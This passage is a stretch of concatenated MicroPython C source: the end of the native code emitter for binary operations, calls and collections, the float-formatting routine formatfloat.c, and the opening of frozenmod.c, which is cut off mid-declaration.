VTYPE_INT, REG_ARG_2); } else if (op == MP_BINARY_OP_MULTIPLY || op == MP_BINARY_OP_INPLACE_MULTIPLY) { ASM_MUL_REG_REG(emit->as, REG_ARG_2, reg_rhs); emit_post_push_reg(emit, VTYPE_INT, REG_ARG_2); } else if (MP_BINARY_OP_LESS <= op && op <= MP_BINARY_OP_NOT_EQUAL) { // comparison ops are (in enum order): // MP_BINARY_OP_LESS // MP_BINARY_OP_MORE // MP_BINARY_OP_EQUAL // MP_BINARY_OP_LESS_EQUAL // MP_BINARY_OP_MORE_EQUAL // MP_BINARY_OP_NOT_EQUAL need_reg_single(emit, REG_RET, 0); #if N_X64 asm_x64_xor_r64_r64(emit->as, REG_RET, REG_RET); asm_x64_cmp_r64_with_r64(emit->as, reg_rhs, REG_ARG_2); static byte ops[6] = { ASM_X64_CC_JL, ASM_X64_CC_JG, ASM_X64_CC_JE, ASM_X64_CC_JLE, ASM_X64_CC_JGE, ASM_X64_CC_JNE, }; asm_x64_setcc_r8(emit->as, ops[op - MP_BINARY_OP_LESS], REG_RET); #elif N_X86 asm_x86_xor_r32_r32(emit->as, REG_RET, REG_RET); asm_x86_cmp_r32_with_r32(emit->as, reg_rhs, REG_ARG_2); static byte ops[6] = { ASM_X86_CC_JL, ASM_X86_CC_JG, ASM_X86_CC_JE, ASM_X86_CC_JLE, ASM_X86_CC_JGE, ASM_X86_CC_JNE, }; asm_x86_setcc_r8(emit->as, ops[op - MP_BINARY_OP_LESS], REG_RET); #elif N_THUMB asm_thumb_cmp_rlo_rlo(emit->as, REG_ARG_2, reg_rhs); static uint16_t ops[6] = { ASM_THUMB_OP_ITE_GE, ASM_THUMB_OP_ITE_GT, ASM_THUMB_OP_ITE_EQ, ASM_THUMB_OP_ITE_GT, ASM_THUMB_OP_ITE_GE, ASM_THUMB_OP_ITE_EQ, }; static byte ret[6] = { 0, 1, 1, 0, 1, 0, }; asm_thumb_op16(emit->as, ops[op - MP_BINARY_OP_LESS]); asm_thumb_mov_rlo_i8(emit->as, REG_RET, ret[op - MP_BINARY_OP_LESS]); asm_thumb_mov_rlo_i8(emit->as, REG_RET, ret[op - MP_BINARY_OP_LESS] ^ 1); #elif N_ARM asm_arm_cmp_reg_reg(emit->as, REG_ARG_2, reg_rhs); static uint ccs[6] = { ASM_ARM_CC_LT, ASM_ARM_CC_GT, ASM_ARM_CC_EQ, ASM_ARM_CC_LE, ASM_ARM_CC_GE, ASM_ARM_CC_NE, }; asm_arm_setcc_reg(emit->as, REG_RET, ccs[op - MP_BINARY_OP_LESS]); #elif N_XTENSA static uint8_t ccs[6] = { ASM_XTENSA_CC_LT, 0x80 | ASM_XTENSA_CC_LT, // for GT we'll swap args ASM_XTENSA_CC_EQ, 0x80 | ASM_XTENSA_CC_GE, // for LE we'll swap args ASM_XTENSA_CC_GE, ASM_XTENSA_CC_NE, }; uint8_t cc = ccs[op - MP_BINARY_OP_LESS]; if ((cc & 0x80) == 0) { asm_xtensa_setcc_reg_reg_reg(emit->as, cc, REG_RET, REG_ARG_2, reg_rhs); } else { asm_xtensa_setcc_reg_reg_reg(emit->as, cc & ~0x80, REG_RET, reg_rhs, REG_ARG_2); } #else #error not implemented #endif emit_post_push_reg(emit, VTYPE_BOOL, REG_RET); } else { // TODO other ops not yet implemented adjust_stack(emit, 1); EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "binary op %q not implemented", mp_binary_op_method_name[op]); } } else if (vtype_lhs == VTYPE_PYOBJ && vtype_rhs == VTYPE_PYOBJ) { emit_pre_pop_reg_reg(emit, &vtype_rhs, REG_ARG_3, &vtype_lhs, REG_ARG_2); bool invert = false; if (op == MP_BINARY_OP_NOT_IN) { invert = true; op = MP_BINARY_OP_IN; } else if (op == MP_BINARY_OP_IS_NOT) { invert = true; op = MP_BINARY_OP_IS; } emit_call_with_imm_arg(emit, MP_F_BINARY_OP, op, REG_ARG_1); if (invert) { ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET); emit_call_with_imm_arg(emit, MP_F_UNARY_OP, MP_UNARY_OP_NOT, REG_ARG_1); } emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { adjust_stack(emit, -1); EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "can't do binary op between '%q' and '%q'", vtype_to_qstr(vtype_lhs), vtype_to_qstr(vtype_rhs)); } } STATIC void emit_native_build_tuple(emit_t *emit, mp_uint_t n_args) { // for viper: call runtime, with types of args // if wrapped in byte_array, or something, allocates memory and fills it emit_native_pre(emit); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items emit_call_with_imm_arg(emit, MP_F_BUILD_TUPLE, n_args, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new tuple } STATIC void emit_native_build_list(emit_t *emit, mp_uint_t n_args) { emit_native_pre(emit); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items emit_call_with_imm_arg(emit, MP_F_BUILD_LIST, n_args, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new list } STATIC void emit_native_build_map(emit_t *emit, mp_uint_t n_args) { emit_native_pre(emit); emit_call_with_imm_arg(emit, MP_F_BUILD_MAP, n_args, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new map } STATIC void emit_native_store_map(emit_t *emit) { vtype_kind_t vtype_key, vtype_value, vtype_map; emit_pre_pop_reg_reg_reg(emit, &vtype_key, REG_ARG_2, &vtype_value, REG_ARG_3, &vtype_map, REG_ARG_1); // key, value, map assert(vtype_key == VTYPE_PYOBJ); assert(vtype_value == VTYPE_PYOBJ); assert(vtype_map == VTYPE_PYOBJ); emit_call(emit, MP_F_STORE_MAP); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // map } #if MICROPY_PY_BUILTINS_SET STATIC void emit_native_build_set(emit_t *emit, mp_uint_t n_args) { emit_native_pre(emit); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, n_args); // pointer to items emit_call_with_imm_arg(emit, MP_F_BUILD_SET, n_args, REG_ARG_1); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // new set } #endif #if MICROPY_PY_BUILTINS_SLICE STATIC void emit_native_build_slice(emit_t *emit, mp_uint_t n_args) { DEBUG_printf("build_slice %d\n", n_args); if (n_args == 2) { vtype_kind_t vtype_start, vtype_stop; emit_pre_pop_reg_reg(emit, &vtype_stop, REG_ARG_2, &vtype_start, REG_ARG_1); // arg1 = start, arg2 = stop assert(vtype_start == VTYPE_PYOBJ); assert(vtype_stop == VTYPE_PYOBJ); emit_call_with_imm_arg(emit, MP_F_NEW_SLICE, (mp_uint_t)mp_const_none, REG_ARG_3); // arg3 = step emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { assert(n_args == 3); vtype_kind_t vtype_start, vtype_stop, vtype_step; emit_pre_pop_reg_reg_reg(emit, &vtype_step, REG_ARG_3, &vtype_stop, REG_ARG_2, &vtype_start, REG_ARG_1); // arg1 = start, arg2 = stop, arg3 = step assert(vtype_start == VTYPE_PYOBJ); assert(vtype_stop == VTYPE_PYOBJ); assert(vtype_step == VTYPE_PYOBJ); emit_call(emit, MP_F_NEW_SLICE); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } } #endif STATIC void emit_native_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t collection_index) { mp_fun_kind_t f; if (kind == SCOPE_LIST_COMP) { vtype_kind_t vtype_item; emit_pre_pop_reg(emit, &vtype_item, REG_ARG_2); assert(vtype_item == VTYPE_PYOBJ); f = MP_F_LIST_APPEND; #if MICROPY_PY_BUILTINS_SET } else if (kind == SCOPE_SET_COMP) { vtype_kind_t vtype_item; emit_pre_pop_reg(emit, &vtype_item, REG_ARG_2); assert(vtype_item == VTYPE_PYOBJ); f = MP_F_STORE_SET; #endif } else { // SCOPE_DICT_COMP vtype_kind_t vtype_key, vtype_value; emit_pre_pop_reg_reg(emit, &vtype_key, REG_ARG_2, &vtype_value, REG_ARG_3); assert(vtype_key == VTYPE_PYOBJ); assert(vtype_value == VTYPE_PYOBJ); f = MP_F_STORE_MAP; } vtype_kind_t vtype_collection; emit_access_stack(emit, collection_index, &vtype_collection, REG_ARG_1); assert(vtype_collection == VTYPE_PYOBJ); emit_call(emit, f); emit_post(emit); } STATIC void emit_native_unpack_sequence(emit_t *emit, mp_uint_t n_args) { DEBUG_printf("unpack_sequence %d\n", n_args); vtype_kind_t vtype_base; emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = seq assert(vtype_base == VTYPE_PYOBJ); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, n_args); // arg3 = dest ptr emit_call_with_imm_arg(emit, MP_F_UNPACK_SEQUENCE, n_args, REG_ARG_2); // arg2 = n_args } STATIC void emit_native_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right) { DEBUG_printf("unpack_ex %d %d\n", n_left, n_right); vtype_kind_t vtype_base; emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = seq assert(vtype_base == VTYPE_PYOBJ); emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, n_left + n_right + 1); // arg3 = dest ptr emit_call_with_imm_arg(emit, MP_F_UNPACK_EX, n_left | (n_right << 8), REG_ARG_2); // arg2 = n_left + n_right } STATIC void emit_native_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) { // call runtime, with type info for args, or don't support dict/default params, or only support Python objects for them emit_native_pre(emit); if (n_pos_defaults == 0 && n_kw_defaults == 0) { emit_call_with_3_imm_args_and_first_aligned(emit, MP_F_MAKE_FUNCTION_FROM_RAW_CODE, (mp_uint_t)scope->raw_code, REG_ARG_1, (mp_uint_t)MP_OBJ_NULL, REG_ARG_2, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3); } else { vtype_kind_t vtype_def_tuple, vtype_def_dict; emit_pre_pop_reg_reg(emit, &vtype_def_dict, REG_ARG_3, &vtype_def_tuple, REG_ARG_2); assert(vtype_def_tuple == VTYPE_PYOBJ); assert(vtype_def_dict == VTYPE_PYOBJ); emit_call_with_imm_arg_aligned(emit, MP_F_MAKE_FUNCTION_FROM_RAW_CODE, (mp_uint_t)scope->raw_code, REG_ARG_1); } emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) { emit_native_pre(emit); if (n_pos_defaults == 0 && n_kw_defaults == 0) { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_closed_over); ASM_MOV_IMM_TO_REG(emit->as, n_closed_over, REG_ARG_2); } else { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_closed_over + 2); ASM_MOV_IMM_TO_REG(emit->as, 0x100 | n_closed_over, REG_ARG_2); } ASM_MOV_ALIGNED_IMM_TO_REG(emit->as, (mp_uint_t)scope->raw_code, REG_ARG_1); ASM_CALL_IND(emit->as, mp_fun_table[MP_F_MAKE_CLOSURE_FROM_RAW_CODE], MP_F_MAKE_CLOSURE_FROM_RAW_CODE); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } STATIC void emit_native_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) { DEBUG_printf("call_function(n_pos=" UINT_FMT ", n_kw=" UINT_FMT ", star_flags=" UINT_FMT ")\n", n_positional, n_keyword, star_flags); // TODO: in viper mode, call special runtime routine with type info for args, // and wanted type info for return, to remove need for boxing/unboxing emit_native_pre(emit); vtype_kind_t vtype_fun = peek_vtype(emit, n_positional + 2 * n_keyword); if (vtype_fun == VTYPE_BUILTIN_CAST) { // casting operator assert(n_positional == 1 && n_keyword == 0); assert(!star_flags); DEBUG_printf(" cast to %d\n", vtype_fun); vtype_kind_t vtype_cast = peek_stack(emit, 1)->data.u_imm; switch (peek_vtype(emit, 0)) { case VTYPE_PYOBJ: { vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_ARG_1); emit_pre_pop_discard(emit); emit_call_with_imm_arg(emit, MP_F_CONVERT_OBJ_TO_NATIVE, vtype_cast, REG_ARG_2); // arg2 = type emit_post_push_reg(emit, vtype_cast, REG_RET); break; } case VTYPE_BOOL: case VTYPE_INT: case VTYPE_UINT: case VTYPE_PTR: case VTYPE_PTR8: case VTYPE_PTR16: case VTYPE_PTR32: case VTYPE_PTR_NONE: emit_fold_stack_top(emit, REG_ARG_1); emit_post_top_set_vtype(emit, vtype_cast); break; default: // this can happen when casting a cast: int(int) mp_raise_NotImplementedError("casting"); } } else { assert(vtype_fun == VTYPE_PYOBJ); if (star_flags) { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword + 3); // pointer to args emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW_VAR, 0, REG_ARG_1, n_positional | (n_keyword << 8), REG_ARG_2); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { if (n_positional != 0 || n_keyword != 0) { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword); // pointer to args } emit_pre_pop_reg(emit, &vtype_fun, REG_ARG_1); // the function emit_call_with_imm_arg(emit, MP_F_NATIVE_CALL_FUNCTION_N_KW, n_positional | (n_keyword << 8), REG_ARG_2); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } } } STATIC void emit_native_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) { if (star_flags) { emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, n_positional + 2 * n_keyword + 4); // pointer to args emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW_VAR, 1, REG_ARG_1, n_positional | (n_keyword << 8), REG_ARG_2); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } else { emit_native_pre(emit); emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 2 + n_positional + 2 * n_keyword); // pointer to items, including meth and self emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, n_positional, REG_ARG_1, n_keyword, REG_ARG_2); emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); } } STATIC void emit_native_return_value(emit_t *emit) { DEBUG_printf("return_value\n"); if (emit->do_viper_types) { if (peek_vtype(emit, 0) == VTYPE_PTR_NONE) { emit_pre_pop_discard(emit); if (emit->return_vtype == VTYPE_PYOBJ) { ASM_MOV_IMM_TO_REG(emit->as, (mp_uint_t)mp_const_none, REG_RET); } else { ASM_MOV_IMM_TO_REG(emit->as, 0, REG_RET); } } else { vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_RET); if (vtype != emit->return_vtype) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "return expected '%q' but got '%q'", vtype_to_qstr(emit->return_vtype), vtype_to_qstr(vtype)); } } } else { vtype_kind_t vtype; emit_pre_pop_reg(emit, &vtype, REG_RET); assert(vtype == VTYPE_PYOBJ); } emit->last_emit_was_return_value = true; ASM_EXIT(emit->as); } STATIC void emit_native_raise_varargs(emit_t *emit, mp_uint_t n_args) { assert(n_args == 1); vtype_kind_t vtype_exc; emit_pre_pop_reg(emit, &vtype_exc, REG_ARG_1); // arg1 = object to raise if (vtype_exc != VTYPE_PYOBJ) { EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "must raise an object"); } // TODO probably make this 1 call to the runtime (which could even call convert, native_raise(obj, type)) emit_call(emit, MP_F_NATIVE_RAISE); } STATIC void emit_native_yield_value(emit_t *emit) { // not supported (for now) (void)emit; mp_raise_NotImplementedError("native yield"); } STATIC void emit_native_yield_from(emit_t *emit) { // not supported (for now) (void)emit; mp_raise_NotImplementedError("native yield from"); } STATIC void emit_native_start_except_handler(emit_t *emit) { // This instruction follows an nlr_pop, so the stack counter is back to zero, when really // it should be up by a whole nlr_buf_t. We then want to pop the nlr_buf_t here, but save // the first 2 elements, so we can get the thrown value. adjust_stack(emit, 1); vtype_kind_t vtype_nlr; emit_pre_pop_reg(emit, &vtype_nlr, REG_ARG_1); // get the thrown value emit_pre_pop_discard(emit); // discard the linked-list pointer in the nlr_buf emit_post_push_reg_reg_reg(emit, VTYPE_PYOBJ, REG_ARG_1, VTYPE_PYOBJ, REG_ARG_1, VTYPE_PYOBJ, REG_ARG_1); // push the 3 exception items } STATIC void emit_native_end_except_handler(emit_t *emit) { adjust_stack(emit, -1); } const emit_method_table_t EXPORT_FUN(method_table) = { emit_native_set_native_type, emit_native_start_pass, emit_native_end_pass, emit_native_last_emit_was_return_value, emit_native_adjust_stack_size, emit_native_set_source_line, { emit_native_load_fast, emit_native_load_deref, emit_native_load_name, emit_native_load_global, }, { emit_native_store_fast, emit_native_store_deref, emit_native_store_name, emit_native_store_global, }, { emit_native_delete_fast, emit_native_delete_deref, emit_native_delete_name, emit_native_delete_global, }, emit_native_label_assign, emit_native_import_name, emit_native_import_from, emit_native_import_star, emit_native_load_const_tok, emit_native_load_const_small_int, emit_native_load_const_str, emit_native_load_const_obj, emit_native_load_null, emit_native_load_attr, emit_native_load_method, emit_native_load_build_class, emit_native_load_subscr, emit_native_store_attr, emit_native_store_subscr, emit_native_delete_attr, emit_native_delete_subscr, emit_native_dup_top, emit_native_dup_top_two, emit_native_pop_top, emit_native_rot_two, emit_native_rot_three, emit_native_jump, emit_native_pop_jump_if, emit_native_jump_if_or_pop, emit_native_break_loop, emit_native_continue_loop, emit_native_setup_with, emit_native_with_cleanup, emit_native_setup_except, emit_native_setup_finally, emit_native_end_finally, emit_native_get_iter, emit_native_for_iter, emit_native_for_iter_end, emit_native_pop_block, emit_native_pop_except, emit_native_unary_op, emit_native_binary_op, emit_native_build_tuple, emit_native_build_list, emit_native_build_map, emit_native_store_map, #if MICROPY_PY_BUILTINS_SET emit_native_build_set, #endif #if MICROPY_PY_BUILTINS_SLICE emit_native_build_slice, #endif emit_native_store_comp, emit_native_unpack_sequence, emit_native_unpack_ex, emit_native_make_function, emit_native_make_closure, emit_native_call_function, emit_native_call_method, emit_native_return_value, emit_native_raise_varargs, emit_native_yield_value, emit_native_yield_from, emit_native_start_except_handler, emit_native_end_except_handler, }; #endif ================================================ FILE: micropython/source/py/formatfloat.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" #if MICROPY_FLOAT_IMPL != MICROPY_FLOAT_IMPL_NONE #include #include #include #include "py/formatfloat.h" /*********************************************************************** Routine for converting a arbitrary floating point number into a string. The code in this funcion was inspired from Fred Bayer's pdouble.c. Since pdouble.c was released as Public Domain, I'm releasing this code as public domain as well. The original code can be found in https://github.com/dhylands/format-float Dave Hylands ***********************************************************************/ #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT // 1 sign bit, 8 exponent bits, and 23 mantissa bits. // exponent values 0 and 255 are reserved, exponent can be 1 to 254. // exponent is stored with a bias of 127. // The min and max floats are on the order of 1x10^37 and 1x10^-37 #define FPTYPE float #define FPCONST(x) x##F #define FPROUND_TO_ONE 0.9999995F #define FPDECEXP 32 #define FPMIN_BUF_SIZE 6 // +9e+99 #define FLT_SIGN_MASK 0x80000000 #define FLT_EXP_MASK 0x7F800000 #define FLT_MAN_MASK 0x007FFFFF union floatbits { float f; uint32_t u; }; static inline int fp_signbit(float x) { union floatbits fb = {x}; return fb.u & FLT_SIGN_MASK; } static inline int fp_isspecial(float x) { union floatbits fb = {x}; return (fb.u & FLT_EXP_MASK) == FLT_EXP_MASK; } static inline int fp_isinf(float x) { union floatbits fb = {x}; return (fb.u & FLT_MAN_MASK) == 0; } static inline int fp_iszero(float x) { union floatbits fb = {x}; return fb.u == 0; } static inline int fp_isless1(float x) { union floatbits fb = {x}; return fb.u < 0x3f800000; } // Assumes both fp_isspecial() and fp_isinf() were applied before #define fp_isnan(x) 1 #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE #define FPTYPE double #define FPCONST(x) x #define FPROUND_TO_ONE 0.999999999995 #define FPDECEXP 256 #define FPMIN_BUF_SIZE 7 // +9e+199 #include #define fp_signbit(x) signbit(x) #define fp_isspecial(x) 1 #define fp_isnan(x) isnan(x) #define fp_isinf(x) isinf(x) #define fp_iszero(x) (x == 0) #define fp_isless1(x) (x < 1.0) #endif static const FPTYPE g_pos_pow[] = { #if FPDECEXP > 32 1e256, 1e128, 1e64, #endif 1e32, 1e16, 1e8, 1e4, 1e2, 1e1 }; static const FPTYPE g_neg_pow[] = { #if FPDECEXP > 32 1e-256, 1e-128, 1e-64, #endif 1e-32, 1e-16, 1e-8, 1e-4, 1e-2, 1e-1 }; int mp_format_float(FPTYPE f, char *buf, size_t buf_size, char fmt, int prec, char sign) { char *s = buf; if (buf_size <= FPMIN_BUF_SIZE) { // FPMIN_BUF_SIZE is the minimum size needed to store any FP number. // If the buffer does not have enough room for this (plus null terminator) // then don't try to format the float. if (buf_size >= 2) { *s++ = '?'; } if (buf_size >= 1) { *s = '\0'; } return buf_size >= 2; } if (fp_signbit(f)) { *s++ = '-'; f = -f; } else { if (sign) { *s++ = sign; } } // buf_remaining contains bytes available for digits and exponent. // It is buf_size minus room for the sign and null byte. int buf_remaining = buf_size - 1 - (s - buf); if (fp_isspecial(f)) { char uc = fmt & 0x20; if (fp_isinf(f)) { *s++ = 'I' ^ uc; *s++ = 'N' ^ uc; *s++ = 'F' ^ uc; goto ret; } else if (fp_isnan(f)) { *s++ = 'N' ^ uc; *s++ = 'A' ^ uc; *s++ = 'N' ^ uc; ret: *s = '\0'; return s - buf; } } if (prec < 0) { prec = 6; } char e_char = 'E' | (fmt & 0x20); // e_char will match case of fmt fmt |= 0x20; // Force fmt to be lowercase char org_fmt = fmt; if (fmt == 'g' && prec == 0) { prec = 1; } int e, e1; int dec = 0; char e_sign = '\0'; int num_digits = 0; const FPTYPE *pos_pow = g_pos_pow; const FPTYPE *neg_pow = g_neg_pow; if (fp_iszero(f)) { e = 0; if (fmt == 'f') { // Truncate precision to prevent buffer overflow if (prec + 2 > buf_remaining) { prec = buf_remaining - 2; } num_digits = prec + 1; } else { // Truncate precision to prevent buffer overflow if (prec + 6 > buf_remaining) { prec = buf_remaining - 6; } if (fmt == 'e') { e_sign = '+'; } } } else if (fp_isless1(f)) { // We need to figure out what an integer digit will be used // in case 'f' is used (or we revert other format to it below). // As we just tested number to be <1, this is obviously 0, // but we can round it up to 1 below. char first_dig = '0'; if (f >= FPROUND_TO_ONE) { first_dig = '1'; } // Build negative exponent for (e = 0, e1 = FPDECEXP; e1; e1 >>= 1, pos_pow++, neg_pow++) { if (*neg_pow > f) { e += e1; f *= *pos_pow; } } char e_sign_char = '-'; if (fp_isless1(f) && f >= FPROUND_TO_ONE) { f = FPCONST(1.0); if (e == 0) { e_sign_char = '+'; } } else if (fp_isless1(f)) { e++; f *= FPCONST(10.0); } // If the user specified 'g' format, and e is <= 4, then we'll switch // to the fixed format ('f') if (fmt == 'f' || (fmt == 'g' && e <= 4)) { fmt = 'f'; dec = -1; *s++ = first_dig; if (org_fmt == 'g') { prec += (e - 1); } // truncate precision to prevent buffer overflow if (prec + 2 > buf_remaining) { prec = buf_remaining - 2; } num_digits = prec; if (num_digits) { *s++ = '.'; while (--e && num_digits) { *s++ = '0'; num_digits--; } } } else { // For e & g formats, we'll be printing the exponent, so set the // sign. e_sign = e_sign_char; dec = 0; if (prec > (buf_remaining - FPMIN_BUF_SIZE)) { prec = buf_remaining - FPMIN_BUF_SIZE; if (fmt == 'g') { prec++; } } } } else { // Build positive exponent for (e = 0, e1 = FPDECEXP; e1; e1 >>= 1, pos_pow++, neg_pow++) { if (*pos_pow <= f) { e += e1; f *= *neg_pow; } } // It can be that f was right on the edge of an entry in pos_pow needs to be reduced if (f >= FPCONST(10.0)) { e += 1; f *= FPCONST(0.1); } // If the user specified fixed format (fmt == 'f') and e makes the // number too big to fit into the available buffer, then we'll // switch to the 'e' format. if (fmt == 'f') { if (e >= buf_remaining) { fmt = 'e'; } else if ((e + prec + 2) > buf_remaining) { prec = buf_remaining - e - 2; if (prec < 0) { // This means no decimal point, so we can add one back // for the decimal. prec++; } } } if (fmt == 'e' && prec > (buf_remaining - FPMIN_BUF_SIZE)) { prec = buf_remaining - FPMIN_BUF_SIZE; } if (fmt == 'g'){ // Truncate precision to prevent buffer overflow if (prec + (FPMIN_BUF_SIZE - 1) > buf_remaining) { prec = buf_remaining - (FPMIN_BUF_SIZE - 1); } } // If the user specified 'g' format, and e is < prec, then we'll switch // to the fixed format. if (fmt == 'g' && e < prec) { fmt = 'f'; prec -= (e + 1); } if (fmt == 'f') { dec = e; num_digits = prec + e + 1; } else { e_sign = '+'; } } if (prec < 0) { // This can happen when the prec is trimmed to prevent buffer overflow prec = 0; } // We now have num.f as a floating point number between >= 1 and < 10 // (or equal to zero), and e contains the absolute value of the power of // 10 exponent. and (dec + 1) == the number of dgits before the decimal. // For e, prec is # digits after the decimal // For f, prec is # digits after the decimal // For g, prec is the max number of significant digits // // For e & g there will be a single digit before the decimal // for f there will be e digits before the decimal if (fmt == 'e') { num_digits = prec + 1; } else if (fmt == 'g') { if (prec == 0) { prec = 1; } num_digits = prec; } // Print the digits of the mantissa for (int i = 0; i < num_digits; ++i, --dec) { int32_t d = (int32_t)f; *s++ = '0' + d; if (dec == 0 && prec > 0) { *s++ = '.'; } f -= (FPTYPE)d; f *= FPCONST(10.0); } // Round // If we print non-exponential format (i.e. 'f'), but a digit we're going // to round by (e) is too far away, then there's nothing to round. if ((org_fmt != 'f' || e <= 1) && f >= FPCONST(5.0)) { char *rs = s; rs--; while (1) { if (*rs == '.') { rs--; continue; } if (*rs < '0' || *rs > '9') { // + or - rs++; // So we sit on the digit to the right of the sign break; } if (*rs < '9') { (*rs)++; break; } *rs = '0'; if (rs == buf) { break; } rs--; } if (*rs == '0') { // We need to insert a 1 if (rs[1] == '.' && fmt != 'f') { // We're going to round 9.99 to 10.00 // Move the decimal point rs[0] = '.'; rs[1] = '0'; if (e_sign == '-') { e--; if (e == 0) { e_sign = '+'; } } else { e++; } } else { // Need at extra digit at the end to make room for the leading '1' s++; } char *ss = s; while (ss > rs) { *ss = ss[-1]; ss--; } *rs = '1'; } } // verify that we did not overrun the input buffer so far assert((size_t)(s + 1 - buf) <= buf_size); if (org_fmt == 'g' && prec > 0) { // Remove trailing zeros and a trailing decimal point while (s[-1] == '0') { s--; } if (s[-1] == '.') { s--; } } // Append the exponent if (e_sign) { *s++ = e_char; *s++ = e_sign; if (FPMIN_BUF_SIZE == 7 && e >= 100) { *s++ = '0' + (e / 100); } *s++ = '0' + ((e / 10) % 10); *s++ = '0' + (e % 10); } *s = '\0'; // verify that we did not overrun the input buffer assert((size_t)(s + 1 - buf) <= buf_size); return s - buf; } #endif // MICROPY_FLOAT_IMPL != MICROPY_FLOAT_IMPL_NONE ================================================ FILE: micropython/source/py/frozenmod.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Paul Sokolovsky * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/lexer.h" #include "py/frozenmod.h" #if MICROPY_MODULE_FROZEN_STR #ifndef MICROPY_MODULE_FROZEN_LEXER #define MICROPY_MODULE_FROZEN_LEXER mp_lexer_new_from_str_len #else mp_lexer_t *MICROPY_MODULE_FROZEN_LEXER(qstr src_name, const char *str, mp_uint_t len, mp_uint_t free_len); #endif extern const char mp_frozen_str_names[]; extern const uint32_t 